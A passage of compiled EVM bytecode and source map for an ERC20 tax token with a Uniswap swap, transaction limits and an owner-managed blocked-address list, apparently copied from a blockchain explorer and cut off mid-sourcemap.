1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106bf5760405162461bcd60e51b81526004016103e5906115eb565b6106cb6009600a611742565b6106da906461f313f880611750565b600e556106e96009600a611742565b6106f8906461f313f880611750565b600f556014805460ff60b81b19169055600554601380546001600160a01b0319166001600160a01b039092169190911790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107576009600a611742565b610766906461f313f880611750565b60405190815260200160405180910390a1565b5f61053f338484610af8565b5f546001600160a01b031633146107ae5760405162461bcd60e51b81526004016103e5906115eb565b60405133904780156108fc02915f818181858888f193505050501580156107d7573d5f5f3e3d5ffd5b50565b5f546001600160a01b031633146108035760405162461bcd60e51b81526004016103e5906115eb565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084d90309061083e6009600a611742565b6105c2906461f313f880611750565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c19190611767565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109449190611767565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b29190611767565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e5565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e5565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e5565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e5565b601454600160b01b900460ff161580610c415750601454600160a81b900460ff165b15610ceb576001600160a01b0383165f90815260016020526040902054610c69908290611782565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c98908290611795565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aeb9085815260200190565b5f80546001600160a01b03858116911614801590610d1657505f546001600160a01b03848116911614155b1561100c576001600160a01b0384165f9081526004602052604090205460ff16158015610d5b57506001600160a01b0383165f9081526004602052604090205460ff16155b610d63575f5ffd5b610d8f6064610d89600a54600d5411610d7e57600654610d82565b6008545b8590611181565b90611206565b6014549091506001600160a01b038581169116148015610dbd57506012546001600160a01b03848116911614155b8015610de157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ec757600e54821115610e385760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e5565b600f5482610e5a856001600160a01b03165f9081526001602052604090205490565b610e649190611795565b1115610eb25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e5565b600d8054905f610ec1836117a8565b91905055505b6014546001600160a01b038481169116148015610eed57506001600160a01b0384163014155b15610f2557610f176064610d89600b54600d5411610f0d57600754610d82565b6009548590611181565b905047610f2347611247565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f5b57506014546001600160a01b038581169116145b8015610f705750601454600160b01b900460ff165b8015610f7d575060105481115b8015610f8c5750600c54600d54115b1561100a57601454600160b81b900460ff1615610fe557436015541015610fe057610fca610fc584610fc084601154611282565b611282565b611296565b478015610fda57610fda47611247565b50436015555b61100a565b610ff8610fc584610fc084601154611282565b4780156110085761100847611247565b505b505b801561108457305f9081526001602052604090205461102b9082611406565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061107b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110a69083611464565b6001600160a01b0385165f908152600160205260409020556110e96110cb8383611464565b6001600160a01b0385165f9081526001602052604090205490611406565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111328585611464565b60405190815260200160405180910390a350505050565b5f818484111561116c5760405162461bcd60e51b81526004016103e591906114d1565b505f6111788486611782565b95945050505050565b5f825f0361119057505f610543565b5f61119b8385611750565b9050826111a885836117c0565b146111ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e5565b9392505050565b5f6111ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a5565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561127e573d5f5f3e3d5ffd5b5050565b5f81831161129057826111ff565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112dc576112dc6117df565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611333573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113579190611767565b8160018151811061136a5761136a6117df565b6001600160a01b03928316602091820292909201015260125461139091309116846109d4565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c89085905f908690309042906004016117f3565b5f604051808303815f87803b1580156113df575f5ffd5b505af11580156113f1573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806114128385611795565b9050838110156111ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e5565b5f6111ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611149565b5f81836114c55760405162461bcd60e51b81526004016103e591906114d1565b505f61117884866117c0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d7575f5ffd5b5f5f6040838503121561152b575f5ffd5b823561153681611506565b946020939093013593505050565b5f5f5f60608486031215611556575f5ffd5b833561156181611506565b9250602084013561157181611506565b929592945050506040919091013590565b5f60208284031215611592575f5ffd5b5035919050565b5f602082840312156115a9575f5ffd5b81356111ff81611506565b5f5f604083850312156115c5575f5ffd5b82356115d081611506565b915060208301356115e081611506565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611632575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561169a5780850481111561167e5761167e61164b565b600184161561168c57908102905b60019390931c928002611663565b935093915050565b5f826116b057506001610543565b816116bc57505f610543565b81600181146116d257600281146116dc576116f8565b6001915050610543565b60ff8411156116ed576116ed61164b565b50506001821b610543565b5060208310610133831016604e8410600b841016171561171b575081810a610543565b6117275f19848461165f565b805f190482111561173a5761173a61164b565b029392505050565b5f6111ff60ff8416836116a2565b80820281158282048414176105435761054361164b565b5f60208284031215611777575f5ffd5b81516111ff81611506565b818103818111156105435761054361164b565b808201808211156105435761054361164b565b5f600182016117b9576117b961164b565b5060010190565b5f826117da57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118435783516001600160a01b031683526020938401939092019160010161181c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220036977133218d1176e2db40f5b0bf53645080c82a9eec2d9c4c73370474f9fba64736f6c634300081b0033

Deployed Bytecode Sourcemap

3608:8347:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5826:301;;;;;;;;;;;;;:::i;:::-;;6135:83;;;;;;;;;;-1:-1:-1;6205:5:0;;;;;;;;;;;;-1:-1:-1;;;6205:5:0;;;;6135:83;;;;;;;:::i;:::-;;;;;;;;6966:161;;;;;;;;;;-1:-1:-1;6966:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6966:161:0;945:187:1;4664:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4664:45:0;1137:177:1;6412:95:0;;;;;;;;;;;;;:::i;7135:313::-;;;;;;;;;;-1:-1:-1;7135:313:0;;;;;:::i;:::-;;:::i;8027:192::-;;;;;;;;;;-1:-1:-1;8027:192:0;;;;;:::i;:::-;;:::i;4612:45::-;;;;;;;;;;;;;;;;6321:83;;;;;;;;;;-1:-1:-1;6321:83:0;;4308:1;2205:36:1;;2193:2;2178:18;6321:83:0;2063:184:1;4554:51:0;;;;;;;;;;;;;;;;6515:117;;;;;;;;;;-1:-1:-1;6515:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6608:16:0;6581:7;6608:16;;;:7;:16;;;;;;;6515:117;2774:148;;;;;;;;;;;;;:::i;11111:224::-;;;;;;;;;;;;;:::i;4500:47::-;;;;;;;;;;;;;;;;2560:79;;;;;;;;;;-1:-1:-1;2598:7:0;2625:6;2560:79;;-1:-1:-1;;;;;2625:6:0;;;2650:51:1;;2638:2;2623:18;2560:79:0;2504:203:1;6226:87:0;;;;;;;;;;-1:-1:-1;6298:7:0;;;;;;;;;;;;-1:-1:-1;;;6298:7:0;;;;6226:87;;6640:167;;;;;;;;;;-1:-1:-1;6640:167:0;;;;;:::i;:::-;;:::i;6815:143::-;;;;;;;;;;-1:-1:-1;6815:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6923:18:0;;;6896:7;6923:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6815:143;7905:114;;;;;;;;;;;;;:::i;5501:317::-;;;;;;;;;;;;;:::i;5826:301::-;2687:6;;-1:-1:-1;;;;;2687:6:0;2217:10;2687:22;2679:67;;;;-1:-1:-1;;;2679:67:0;;;;;;;:::i;:::-;;;;;;;;;5885:11:::1;::::0;-1:-1:-1;;;5885:11:0;::::1;;;5884:12;5876:47;;;::::0;-1:-1:-1;;;5876:47:0;;3668:2:1;5876:47:0::1;::::0;::::1;3650:21:1::0;3707:2;3687:18;;;3680:30;3746:25;3726:18;;;3719:53;3789:18;;5876:47:0::1;3466:347:1::0;5876:47:0::1;5934:13;::::0;-1:-1:-1;;;;;5934:13:0::1;:29;5971:21;6002:4;6008:24;6002:4:::0;-1:-1:-1;;;;;6608:16:0;6581:7;6608:16;;;:7;:16;;;;;;;6515:117;6008:24:::1;6033:1;6035;6037:7;2598::::0;2625:6;-1:-1:-1;;;;;2625:6:0;;2560:79;6037:7:::1;5934:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5934:127:0;;;-1:-1:-1;;;;;4139:32:1;;;5934:127:0::1;::::0;::::1;4121:51:1::0;4188:18;;;4181:34;;;;4231:18;;;4224:34;;;;4274:18;;;4267:34;4338:32;;;4317:19;;;4310:61;6045:15:0::1;4387:19:1::0;;;4380:35;4093:19;;5934:127:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6072:11:0::1;:18:::0;;-1:-1:-1;;;;6101:18:0;-1:-1:-1;;;6101:18:0;;;-1:-1:-1;5826:301:0:o;6966:161::-;7041:4;7058:39;2217:10;7081:7;7090:6;7058:8;:39::i;:::-;-1:-1:-1;7115:4:0;6966:161;;;;;:::o;6412:95::-;6465:7;4366:13;4308:1;4366:2;:13;:::i;:::-;4351:28;;:12;:28;:::i;:::-;6485:14;;6412:95;:::o;7135:313::-;7233:4;7250:36;7260:6;7268:9;7279:6;7250:9;:36::i;:::-;7297:121;7306:6;2217:10;7328:89;7366:6;7328:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7328:19:0;;;;;;:11;:19;;;;;;;;2217:10;7328:33;;;;;;;;;;:37;:89::i;:::-;7297:8;:121::i;:::-;-1:-1:-1;7436:4:0;7135:313;;;;;:::o;8027:192::-;8111:9;;8138:11;;-1:-1:-1;;;;;8111:9:0;;;;8138:11;8198:13;4308:1;8198:2;:13;:::i;:::-;8189:22;;:6;:22;:::i;:::-;-1:-1:-1;;;;;8160:18:0;;;;;;;:11;:18;;;;;;;;:26;;;;;;;;;;;;:51;-1:-1:-1;8027:192:0:o;2774:148::-;2687:6;;-1:-1:-1;;;;;2687:6:0;2217:10;2687:22;2679:67;;;;-1:-1:-1;;;2679:67:0;;;;;;;:::i;:::-;2881:1:::1;2865:6:::0;;2844:40:::1;::::0;-1:-1:-1;;;;;2865:6:0;;::::1;::::0;2844:40:::1;::::0;2881:1;;2844:40:::1;2912:1;2895:19:::0;;-1:-1:-1;;;;;;2895:19:0::1;::::0;;2774:148::o;11111:224::-;2687:6;;-1:-1:-1;;;;;2687:6:0;2217:10;2687:22;2679:67;;;;-1:-1:-1;;;2679:67:0;;;;;;;:::i;:::-;4366:13:::1;4308:1;4366:2;:13;:::i;:::-;4351:28;::::0;:12:::1;:28;:::i;:::-;11165:12;:22:::0;4366:13:::1;4308:1;4366:2;:13;:::i;:::-;4351:28;::::0;:12:::1;:28;:::i;:::-;11198:16;:24:::0;11233:10:::1;:18:::0;;-1:-1:-1;;;;11233:18:0::1;::::0;;11274:10:::1;::::0;11262:9:::1;:22:::0;;-1:-1:-1;;;;;;11262:22:0::1;-1:-1:-1::0;;;;;11274:10:0;;::::1;11262:22:::0;;;::::1;::::0;;11300:27:::1;4366:13;4308:1;4366:2;:13;:::i;:::-;4351:28;::::0;:12:::1;:28;:::i;:::-;11300:27;::::0;1283:25:1;;;1271:2;1256:18;11300:27:0::1;;;;;;;11111:224::o:0;6640:167::-;6718:4;6735:42;2217:10;6759:9;6770:6;6735:9;:42::i;7905:114::-;2687:6;;-1:-1:-1;;;;;2687:6:0;2217:10;2687:22;2679:67;;;;-1:-1:-1;;;2679:67:0;;;;;;;:::i;:::-;7960:51:::1;::::0;7968:10:::1;::::0;7989:21:::1;7960:51:::0;::::1;;;::::0;::::1;::::0;;;7989:21;7968:10;7960:51;::::1;;;;;;;;;;;;;;;;;;;;7905:114::o:0;5501:317::-;2687:6;;-1:-1:-1;;;;;2687:6:0;2217:10;2687:22;2679:67;;;;-1:-1:-1;;;2679:67:0;;;;;;;:::i;:::-;5550:13:::1;:78:::0;;-1:-1:-1;;;;;;5550:78:0::1;5585:42;5550:78:::0;;::::1;::::0;;;5639:56:::1;::::0;5656:4:::1;::::0;4366:13:::1;4308:1;4366:2;:13;:::i;:::-;4351:28;::::0;:12:::1;:28;:::i;5639:56::-;5738:13;;;;;;;;;-1:-1:-1::0;;;;;5738:13:0::1;-1:-1:-1::0;;;;;5738:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5720:53:0::1;;5782:4;5789:13;;;;;;;;;-1:-1:-1::0;;;;;5789:13:0::1;-1:-1:-1::0;;;;;5789:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5720:90;::::0;-1:-1:-1;;;;;;5720:90:0::1;::::0;;;;;;-1:-1:-1;;;;;7072:32:1;;;5720:90:0::1;::::0;::::1;7054:51:1::0;7141:32;;7121:18;;;7114:60;7027:18;;5720:90:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5706:11;:104:::0;;-1:-1:-1;;;;;;5706:104:0::1;-1:-1:-1::0;;;;;5706:104:0;;;::::1;::::0;;;::::1;::::0;;5501:317::o;7456:335::-;-1:-1:-1;;;;;7549:19:0;;7541:68;;;;-1:-1:-1;;;7541:68:0;;7387:2:1;7541:68:0;;;7369:21:1;7426:2;7406:18;;;7399:30;7465:34;7445:18;;;7438:62;-1:-1:-1;;;7516:18:1;;;7509:34;7560:19;;7541:68:0;7185:400:1;7541:68:0;-1:-1:-1;;;;;7628:21:0;;7620:68;;;;-1:-1:-1;;;7620:68:0;;7792:2:1;7620:68:0;;;7774:21:1;7831:2;7811:18;;;7804:30;7870:34;7850:18;;;7843:62;-1:-1:-1;;;7921:18:1;;;7914:32;7963:19;;7620:68:0;7590:398:1;7620:68:0;-1:-1:-1;;;;;7699:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7751:32;;1283:25:1;;;7751:32:0;;1256:18:1;7751:32:0;;;;;;;;7456:335;;;:::o;8227:2876::-;-1:-1:-1;;;;;8315:18:0;;8307:68;;;;-1:-1:-1;;;8307:68:0;;8195:2:1;8307:68:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:35;8369:19;;8307:68:0;7993:401:1;8307:68:0;-1:-1:-1;;;;;8394:16:0;;8386:64;;;;-1:-1:-1;;;8386:64:0;;8601:2:1;8386:64:0;;;8583:21:1;8640:2;8620:18;;;8613:30;8679:34;8659:18;;;8652:62;-1:-1:-1;;;8730:18:1;;;8723:33;8773:19;;8386:64:0;8399:399:1;8386:64:0;8478:1;8469:6;:10;8461:64;;;;-1:-1:-1;;;8461:64:0;;9005:2:1;8461:64:0;;;8987:21:1;9044:2;9024:18;;;9017:30;9083:34;9063:18;;;9056:62;-1:-1:-1;;;9134:18:1;;;9127:39;9183:19;;8461:64:0;8803:405:1;8461:64:0;8541:11;;-1:-1:-1;;;8541:11:0;;;;8540:12;;:22;;-1:-1:-1;8556:6:0;;-1:-1:-1;;;8556:6:0;;;;8540:22;8536:209;;;-1:-1:-1;;;;;8595:13:0;;;;;;:7;:13;;;;;;:22;;8611:6;;8595:22;:::i;:::-;-1:-1:-1;;;;;8579:13:0;;;;;;;:7;:13;;;;;;:38;;;;8646:11;;;;;;;:20;;8660:6;;8646:20;:::i;:::-;-1:-1:-1;;;;;8632:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8686:26;;;;;;;;;;8705:6;1283:25:1;;1271:2;1256:18;;1137:177;8536:209:0;8755:20;2625:6;;-1:-1:-1;;;;;8792:15:0;;;2625:6;;8792:15;;;;:32;;-1:-1:-1;2598:7:0;2625:6;-1:-1:-1;;;;;8811:13:0;;;2625:6;;8811:13;;8792:32;8788:1957;;;-1:-1:-1;;;;;8850:11:0;;;;;;:5;:11;;;;;;;;8849:12;:26;;;;-1:-1:-1;;;;;;8866:9:0;;;;;;:5;:9;;;;;;;;8865:10;8849:26;8841:35;;;;;;8906:78;8980:3;8906:69;8933:12;;8918:14;;:27;8917:57;;8960:14;;8917:57;;;8947:12;;8917:57;8906:6;;:10;:69::i;:::-;:73;;:78::i;:::-;9011:11;;8891:93;;-1:-1:-1;;;;;;9003:19:0;;;9011:11;;9003:19;:51;;;;-1:-1:-1;9040:13:0;;-1:-1:-1;;;;;9026:28:0;;;9040:13;;9026:28;;9003:51;:75;;;;-1:-1:-1;;;;;;9060:18:0;;;;;;:14;:18;;;;;;;;9058:20;9003:75;8999:312;;;9118:12;;9108:6;:22;;9100:60;;;;-1:-1:-1;;;9100:60:0;;9678:2:1;9100:60:0;;;9660:21:1;9717:2;9697:18;;;9690:30;9756:27;9736:18;;;9729:55;9801:18;;9100:60:0;9476:349:1;9100:60:0;9213:16;;9203:6;9187:13;9197:2;-1:-1:-1;;;;;6608:16:0;6581:7;6608:16;;;:7;:16;;;;;;;6515:117;9187:13;:22;;;;:::i;:::-;:42;;9179:81;;;;-1:-1:-1;;;9179:81:0;;10032:2:1;9179:81:0;;;10014:21:1;10071:2;10051:18;;;10044:30;10110:28;10090:18;;;10083:56;10156:18;;9179:81:0;9830:350:1;9179:81:0;9279:14;:16;;;:14;:16;;;:::i;:::-;;;;;;8999:312;9334:11;;-1:-1:-1;;;;;9328:17:0;;;9334:11;;9328:17;:41;;;;-1:-1:-1;;;;;;9349:20:0;;9364:4;9349:20;;9328:41;9325:365;;;9405:81;9482:3;9405:72;9432:13;;9417:14;;:28;9416:60;;9461:15;;9416:60;;;9447:13;;9405:6;;:10;:72::i;:81::-;9390:96;-1:-1:-1;9534:21:0;9625:30;9633:21;9625:7;:30::i;:::-;9371:319;9325:365;9753:4;9704:28;6608:16;;;:7;:16;;;;;;9779:6;;-1:-1:-1;;;9779:6:0;;;;9778:7;:30;;;;-1:-1:-1;9797:11:0;;-1:-1:-1;;;;;9789:19:0;;;9797:11;;9789:19;9778:30;:45;;;;-1:-1:-1;9812:11:0;;-1:-1:-1;;;9812:11:0;;;;9778:45;:81;;;;;9848:11;;9827:20;:32;9778:81;:113;;;;;9878:13;;9863:14;;:28;9778:113;9774:960;;;9916:10;;-1:-1:-1;;;9916:10:0;;;;9912:807;;;9973:12;9955:15;;:30;9951:430;;;10014:67;10031:49;10035:6;10042:37;10046:20;10067:11;;10042:3;:37::i;:::-;10031:3;:49::i;:::-;10014:16;:67::i;:::-;10137:21;10188:22;;10185:116;;10243:30;10251:21;10243:7;:30::i;:::-;-1:-1:-1;10345:12:0;10327:15;:30;9951:430;9912:807;;;10429:67;10446:49;10450:6;10457:37;10461:20;10482:11;;10457:3;:37::i;10429:67::-;10548:21;10595:22;;10592:108;;10646:30;10654:21;10646:7;:30::i;:::-;10406:313;9912:807;8826:1919;8788:1957;10758:14;;10755:167;;10825:4;10809:22;;;;:7;:22;;;;;;:40;;10836:12;10809:26;:40::i;:::-;10802:4;10786:22;;;;:7;:22;;;;;;;:63;;;;10867:43;;-1:-1:-1;;;;;10867:43:0;;;;;;;10897:12;1283:25:1;;1271:2;1256:18;;1137:177;10867:43:0;;;;;;;;10755:167;-1:-1:-1;;;;;10946:13:0;;;;;;:7;:13;;;;;;:25;;10964:6;10946:17;:25::i;:::-;-1:-1:-1;;;;;10932:13:0;;;;;;:7;:13;;;;;:39;10994:41;11010:24;:6;11021:12;11010:10;:24::i;:::-;-1:-1:-1;;;;;10994:11:0;;;;;;:7;:11;;;;;;;:15;:41::i;:::-;-1:-1:-1;;;;;10982:11:0;;;;;;;:7;:11;;;;;:53;;;;11051:44;;;11070:24;:6;11081:12;11070:10;:24::i;:::-;11051:44;;1283:25:1;;;1271:2;1256:18;11051:44:0;;;;;;;8296:2807;8227:2876;;;:::o;678:190::-;764:7;800:12;792:6;;;;784:29;;;;-1:-1:-1;;;784:29:0;;;;;;;;:::i;:::-;-1:-1:-1;824:9:0;836:5;840:1;836;:5;:::i;:::-;824:17;678:190;-1:-1:-1;;;;;678:190:0:o;876:246::-;934:7;958:1;963;958:6;954:47;;-1:-1:-1;988:1:0;981:8;;954:47;1011:9;1023:5;1027:1;1023;:5;:::i;:::-;1011:17;-1:-1:-1;1056:1:0;1047:5;1051:1;1011:17;1047:5;:::i;:::-;:10;1039:56;;;;-1:-1:-1;;;1039:56:0;;10749:2:1;1039:56:0;;;10731:21:1;10788:2;10768:18;;;10761:30;10827:34;10807:18;;;10800:62;-1:-1:-1;;;10878:18:1;;;10871:31;10919:19;;1039:56:0;10547:397:1;1039:56:0;1113:1;876:246;-1:-1:-1;;;876:246:0:o;1130:132::-;1188:7;1215:39;1219:1;1222;1215:39;;;;;;;;;;;;;;;;;:3;:39::i;11343:87::-;11395:10;;:27;;-1:-1:-1;;;;;11395:10:0;;;;:27;;;;;11415:6;;11395:10;:27;:10;:27;11415:6;11395:10;:27;;;;;;;;;;;;;;;;;;;;;11343:87;:::o;7799:98::-;7856:7;7883:1;7881;:3;7880:9;;7888:1;7880:9;;;-1:-1:-1;7886:1:0;7799:98;-1:-1:-1;7799:98:0:o;11438:477::-;5096:6;:13;;-1:-1:-1;;;;5096:13:0;-1:-1:-1;;;5096:13:0;;;11540:16:::1;::::0;;11554:1:::1;11540:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11540:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11540:16:0::1;11516:40;;11585:4;11567;11572:1;11567:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11567:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11611:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;11611:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;11567:7;;11611:20;;;;;:13;:20:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11601:4;11606:1;11601:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11601:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;11674:13:::1;::::0;11642:60:::1;::::0;11659:4:::1;::::0;11674:13:::1;11690:11:::0;11642:8:::1;:60::i;:::-;11713:13;::::0;:194:::1;::::0;-1:-1:-1;;;11713:194:0;;-1:-1:-1;;;;;11713:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;11792:11;;11713:13:::1;::::0;11834:4;;11861::::1;::::0;11881:15:::1;::::0;11713:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5132:6:0;:14;;-1:-1:-1;;;;5132:14:0;;;-1:-1:-1;;;;11438:477:0:o;347:179::-;405:7;;437:5;441:1;437;:5;:::i;:::-;425:17;;466:1;461;:6;;453:46;;;;-1:-1:-1;;;453:46:0;;12379:2:1;453:46:0;;;12361:21:1;12418:2;12398:18;;;12391:30;12457:29;12437:18;;;12430:57;12504:18;;453:46:0;12177:351:1;534:136:0;592:7;619:43;623:1;626;619:43;;;;;;;;;;;;;;;;;:3;:43::i;1270:189::-;1356:7;1391:12;1384:5;1376:28;;;;-1:-1:-1;;;1376:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1415:9:0;1427:5;1431:1;1427;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;1832:226::-;1891:6;1944:2;1932:9;1923:7;1919:23;1915:32;1912:52;;;1960:1;1957;1950:12;1912:52;-1:-1:-1;2005:23:1;;1832:226;-1:-1:-1;1832:226:1:o;2252:247::-;2311:6;2364:2;2352:9;2343:7;2339:23;2335:32;2332:52;;;2380:1;2377;2370:12;2332:52;2419:9;2406:23;2438:31;2463:5;2438:31;:::i;2712:388::-;2780:6;2788;2841:2;2829:9;2820:7;2816:23;2812:32;2809:52;;;2857:1;2854;2847:12;2809:52;2896:9;2883:23;2915:31;2940:5;2915:31;:::i;:::-;2965:5;-1:-1:-1;3022:2:1;3007:18;;2994:32;3035:33;2994:32;3035:33;:::i;:::-;3087:7;3077:17;;;2712:388;;;;;:::o;3105:356::-;3307:2;3289:21;;;3326:18;;;3319:30;3385:34;3380:2;3365:18;;3358:62;3452:2;3437:18;;3105:356::o;4426:456::-;4514:6;4522;4530;4583:2;4571:9;4562:7;4558:23;4554:32;4551:52;;;4599:1;4596;4589:12;4551:52;-1:-1:-1;;4644:16:1;;4750:2;4735:18;;4729:25;4846:2;4831:18;;;4825:25;4644:16;;4729:25;;-1:-1:-1;4825:25:1;4426:456;-1:-1:-1;4426:456:1:o;4887:127::-;4948:10;4943:3;4939:20;4936:1;4929:31;4979:4;4976:1;4969:15;5003:4;5000:1;4993:15;5019:375;5107:1;5125:5;5139:249;5160:1;5150:8;5147:15;5139:249;;;5210:4;5205:3;5201:14;5195:4;5192:24;5189:50;;;5219:18;;:::i;:::-;5269:1;5259:8;5255:16;5252:49;;;5283:16;;;;5252:49;5366:1;5362:16;;;;;5322:15;;5139:249;;;5019:375;;;;;;:::o;5399:902::-;5448:5;5478:8;5468:80;;-1:-1:-1;5519:1:1;5533:5;;5468:80;5567:4;5557:76;;-1:-1:-1;5604:1:1;5618:5;;5557:76;5649:4;5667:1;5662: